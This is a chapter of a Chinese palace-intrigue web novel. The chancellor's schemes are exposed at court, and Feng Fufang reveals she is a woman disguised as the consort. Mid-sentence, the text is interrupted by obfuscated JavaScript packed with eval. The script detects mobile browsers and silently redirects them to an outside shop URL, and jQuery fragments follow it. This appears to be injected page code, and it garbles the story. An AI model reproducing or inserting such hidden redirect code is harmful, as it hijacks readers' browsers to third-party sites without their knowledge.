走到大殿门口,梁浅心里隐隐感到有些不安,“明汐可是要回来了,夫君?”
萧明渊被梁浅突然拉住,愣了一刻,呆呆地点头回道,“是,想必今日就能到京城了。”
“那其他的可都准备齐全了?”梁浅有些担心地问。
“放心,娘子,该带的人证物证我都让月银带过来了。”
梁浅点了点头,然后转身朝身后的万星说道,“去城门口等着明汐,明汐一到便直接将她带到这里,若是同行跟着无面,便让无面在萧府等候,随机而动。”
万星拱手应了声是,转身便飞快的往来时的路跑去,而梁浅余光像是瞥见了一个身型很像周玉的人。
进了殿里,皇帝用一种十分慈祥地表情看着两人,一旁的皇后也端庄贤惠地坐着,丞相则站在一旁,全然不将两人放在眼中。
“两位来了,赐座。”
“谢陛下。”
两人在丞相的对面坐下,殿里其他下人都退了出去,气氛十分诡异,像是暴风雨前的黎明。
“今日请两位进宫,是听说张尚书家公子的婚宴上出了些事情,丞相大人说恐有损皇家体面,朕想着两位都在场,想必也是知道些内情的。”
皇帝说罢,端起酒来一饮而下,然后带有些期待地眼神看着萧明渊。
萧明渊起身禀报道,“回陛下,今日之事还未有定论,丞相大人说有损皇家体面想必已经将污名定在了驸马头上,然事实并非如此,当场我手下的人还抓到了一个人。”
萧明渊朝皇帝行礼,皇帝点了点头,萧明渊一招手,月银便提着那奸夫上来了。
丞相向下瞥了一眼,嘴里只说着,“这不是我那不成器的干侄子?怎么,萧大人是说,我这侄儿是奸夫?可有证据。”
丞相朝萧明渊这边看过来,气势没有丝毫减弱,那侄子被松了绑,跪在地上哭求着。
“哭什么哭,不成器的,陛下面前怎么容得你放肆。”
丞相见到那小子哭了起来,心里本来就一肚子火,抬脚便朝那人踢了过去。
“丞相大人可别动气,您年纪大了,这样可是会伤着身子的。”皇后出声温柔说着。
“是了,皇后娘娘,听说贵妃娘娘昨日肚子里怀的小皇子近日有些不安稳,皇后娘娘可曾去问过了?”
丞相又转过身,一脸谄媚地朝皇后行礼,可嘴里说的话却让皇后听了顿时脸失了几份神采。
“不安稳找太医,问皇后干嘛,如今面前这事还没有理清楚,丞相莫说些有的没的。”皇帝少有的显现了几份怒气,没好气地对着丞相说着。
皇后见状脸色也和悦了几分,对着萧明渊说道,“既是通奸,那女子可在?”
萧明渊看向月银,月银又转头去将女子提出来,可是同样是用布堵着嘴,和奸夫一样的捆法,梁浅却发觉她的嘴上好像流着血,走路也虚浮许多。
女子跪在地上,月银一把扯出她嘴里的布,可还没有等众人问话,那女子便一口鲜血吐了出来晕在了地上。
萧明渊跟着梁浅忙离了座位上前查看,堂上几人也站了起来,朝这边望着。
梁浅上前看着女子嘴里的血还在流着,可是却没有见咳嗽的动作,于是伸手将女子扶起来。
一旁跪着的干侄子见到这番情景,原本就吓得不轻的他此时更是语无伦次,“这这这”。
梁浅看向女子的嘴,抬头朝众人说道,“有人割了她的舌头。”
“叫太医过来。”皇帝站在原地看着,见皇后听到梁浅的话还是惊呼出了声,伸手去扶住了她的肩膀,而丞相则一动不动,站在原地冷冷地看着这一切。
梁浅连忙伸手给女子做着止血,让她俯身将血流出来,防止血呛到喉咙中,自己也悄悄拿起止血的药往女子嘴里撒了一些。
而这些动作都被不远处的丞相尽收眼底,他不经意地眯了眯眼睛,想起了之前的事情。
太医终于来到,月银便帮着将女子抬到一旁医治,就在众人都紧张的时刻,丞相突然走上前来,对着女子问道。
“说!奸夫是谁?”
萧明渊拦住了丞相,恶狠狠地瞪了他一眼,“这女子之罪,可陛下还未定罪,怎么丞相大人就着急起来了?”
女子用尽力气想伸手指着什么,可是却才将手抬了起来便无力地晕了过去,像是还没有指到一旁的人便失去了力气,顺着她最后手指的方向,正好此时太后带着公主驸马正走了进来。
众人皆是一惊,梁浅见状,朝皇帝跪下说道:“陛下,这女子此时神智不清,想必做不得证啊。”
丞相不屑一笑,“要证人作证却又不信她的话,真不知道萧大人家是怎么断案的。”
丞相说罢,便转身去打算将他跪在地上的干侄子拉起来,“既然不是你,就快起来罢。”
太后见到这番情景,刚刚在女儿面前压抑许久的情绪终于控制不住,大步走上前来,朝臣相的脸上就是一巴掌。
“妹妹这是作甚。”丞相捂着自己的脸不敢相信地看着太后。
“谁是你妹妹!”
众人都以为太后这话只不过是她的一句气话,萧明渊和梁浅心里却清楚,这并非假话。
太后转身便去了上座落座,皇帝皇后也连忙行礼。
“如今事情已经明了,这女子都指认了,我这干侄儿可是清白的,莫非陛下还要是非不分?”丞相还在对众人狡辩着。
皇帝沉默了片刻,看了看气得脸通红的丞相,无奈说着,“舅舅身子不适,先下去休息罢。”
说罢皇帝伏了伏手,让他出去,可是丞相依旧不动,听到这话,还觉得自己受到了挑衅。
“陛下你也知道,我可是你舅舅,舅舅说的话你都不信?”
皇帝眯了眯眼睛,梁浅看到他眼里闪过一丝杀气,看了看一旁的太后,瞬间又压抑了下去。
萧明渊见此时正是时机,太后像是也决心要同丞相割席,忙跪了下去,“陛下,微臣有一事禀报,恐涉及皇家秘辛……”
皇帝瞬间明白了他的意思,点了点头,“其他无干的人都下去罢,萧大人但说无妨。”
太医跟着侍从将晕倒的人抬了下去,月银也压着奸夫离开,梁浅和驸马都想走,却被皇帝拦了下来。
“其余都是家里人,不必回避。”
丞相一脸疑惑地看着萧明渊,心里着急,却想不出他能知道的皇家秘辛是什么,只能坐在位子上干着急。
萧明渊从怀里将丞相太后的不同户籍供词都递给了皇帝,皇帝徐徐展开,倒是并不吃惊地样子,深吸了一口气,将东西递给了太后。
“母后,这就是自我登基之后你同丞相对立的原因?”
太后见到供词的第一眼便看不下去,将文书按在桌上,用力揉着自己的头。
“母后累了,皇后送母后回宫休息罢。”
皇后虽然没有看到文书的内容是什么,但是看两人的脸色自然猜出想必是什么不得了的事情,应了声便扶着太后起身。
太后也明白,自己这些年也纵容了不少事,皇帝如今还念着母子情分不同自己计较,已经算逃过一劫了,便起身走了下来。
丞相见到太后的表情也吓得赶紧站了起来,于是在太后从他身边走过的时候,他的耳边传来一句话,“如今,谁都保不了你了。”
太后走后,丞相还愣在原地,转身看着青月和驸马,愤怒地指着冯伏芳说道:“陛下可不要因为他是驸马就徇私啊,这可是皇家颜面。”
冯伏芳看着丞相狰狞的表情,恭恭敬敬地跪了下来,对着陛下磕头行礼,“小人以身起誓,并非奸夫,小人实乃证人,亲眼见到丞相的好侄子和那女子私通。”
“证人?张着嘴谁不会说!”
青月瞥了丞相一眼,也跟着跪了下来,“本公主愿为驸马作保。”
“你是他妻子,为他作保有何作用。”
梁浅看着这一切,仿佛自己能深切体会到冯伏芳此刻的心情,深陷其中,却不得自证。
忽而梁浅见到冯伏芳像是下定决心一般,伸手拉了拉公主,然后对公主轻声说道:“多谢公主,公主
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128969|147035||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
帮了我太多,此等恩情小人想必只有来世再还了。”
说罢,青月看出了她想做什么,想伸手去拦住她,可她话已经出口了。
冯伏芳顾不得去看青月脸上惊讶的表情,又俯身跪下去磕头,“请陛下治小人欺君之罪!”
梁浅有些不忍心看下去,皇帝一脸疑惑,朝前走了走,“欺君?莫非那奸夫当真是你。”
“小人并非奸夫,实乃小人能证明清白的关键之事,却正是欺瞒了陛下。”
冯伏芳说罢,便直起了身子,伸手拔下了自己头上的发簪,她的头发如瀑布般搭在了她的肩膀上。
“小女原名冯伏芳,冯伏嘉乃是我兄长,兄长不幸染病离了人世,为遂了他的心愿,小女这才女扮男装进京,请陛下治罪!”
冯伏芳又朝皇帝磕着头,身旁的青月却忍不住哭了起来,而丞相更是惊讶地合不拢嘴来。
冯伏芳的头发跟着塌在地上,梁浅在一边看着,她像是一只折翼的蝴蝶,平静地接受着她的结局。
丞相顿时呆在了原地,原是想不仅救下侄子,还能拖公主下水,可没有想到这人竟然是女子,顿时就将公主摘了出去,如今定了罪,也不过只死她一人,对面势力丝毫没有减弱。
丞相未意识到自己现在只是困兽之斗,又转身看到萧明渊和梁浅,便伸手指着对面,“陛下,这对夫妇本来就是弄虚作假的,他们说的话有什么可信,这女子……”
梁浅见状立刻跪了下来,打断了丞相的话,“陛下,丞相大人是说我们夫妇的感情弄虚作假,确实如此,我们实际相看两厌,做不得夫妻了,故此今日,也是来禀报陛下,我们两人决议合离。”
萧明渊听到这话,脸上的表情像是被冻住了一样,半天才从嗓子里轻声挤出一句话,“阿浅。”
梁浅垂着眸子,不敢去看萧明渊的表情,只是听到这两个字后又下定了决心朝皇帝行礼。
丞相要说的话被这样一打断只好吞了回去,“好,好,好,好得很,你们一个二个的,陛下,那这位欺君之罪的,您难道不处置?”
丞相瞪大了眼睛,朝着冯伏芳狠狠指着。
青月见到这番情景,忙跪着冲了上去,抱住皇帝的腿说道:“皇兄,这冯伏芳虽有欺瞒之意,可她为兄有情有义,自己也有真才实学,今年更是在丞相扰乱科举的情形下,从寒门脱颖而出,若是她死了,岂不是寒了天下读书人的心。
皇兄,且不说您已然考察过,她也是有真本事的,心里也想为朝廷做事,为百姓做事,既是人才,又何必管他是男是女。”
皇帝看着公主这般央求,脸上既有心疼,也有对冯伏芳的愤怒,可是仿佛他的目的还没有达到一样,迟迟没有松口。
公主哭得抽泣起来,俯身朝皇帝磕着头,“若皇兄愿意放过冯伏芳,我愿意跟随驸马远离京城,再不参扰京中事务,求陛下成全。”
冯伏芳见到公主这番样子,也泣不成声,跟着跪了下去。
“陛下,您不能就这样放过她们啊。”丞相突然打断,还在一旁焦急地看着皇帝,迟迟等不到自己满意的答案。
皇帝见公主这样已经心软许多,眉眼都展开了,突然听到丞相的话,脸瞬间黑了下去,先将公主扶了起来,然后皱着眉头看向丞相。
“既然丞相大人与我母后并无血缘,这是我们皇家的家事,就不劳烦您在此了,来人啊,送丞相大人回府。”
门口的侍卫闻声冲了进来,将丞相扶着请了出去,丞相见状气急败坏,朝着萧明渊吐着口水,嘴里还嚷嚷着。
“你萧明渊如今也不过是困兽之斗,一个小小文官,无权无势,下一个就是你!”
萧明渊和梁浅表情丝毫没有变化,而当丞相骂骂咧咧走出来之时,便见到迎面走来一个女子。
那女子身着铠甲,一脸英气,步履生风,见了他还拱手行了礼才往前走去。
就在丞相瞪大双眼,一脸难以置信地时候,听到殿门口的太监朝里面通报。
“明将军求见陛下,陛下万岁万岁万万岁。”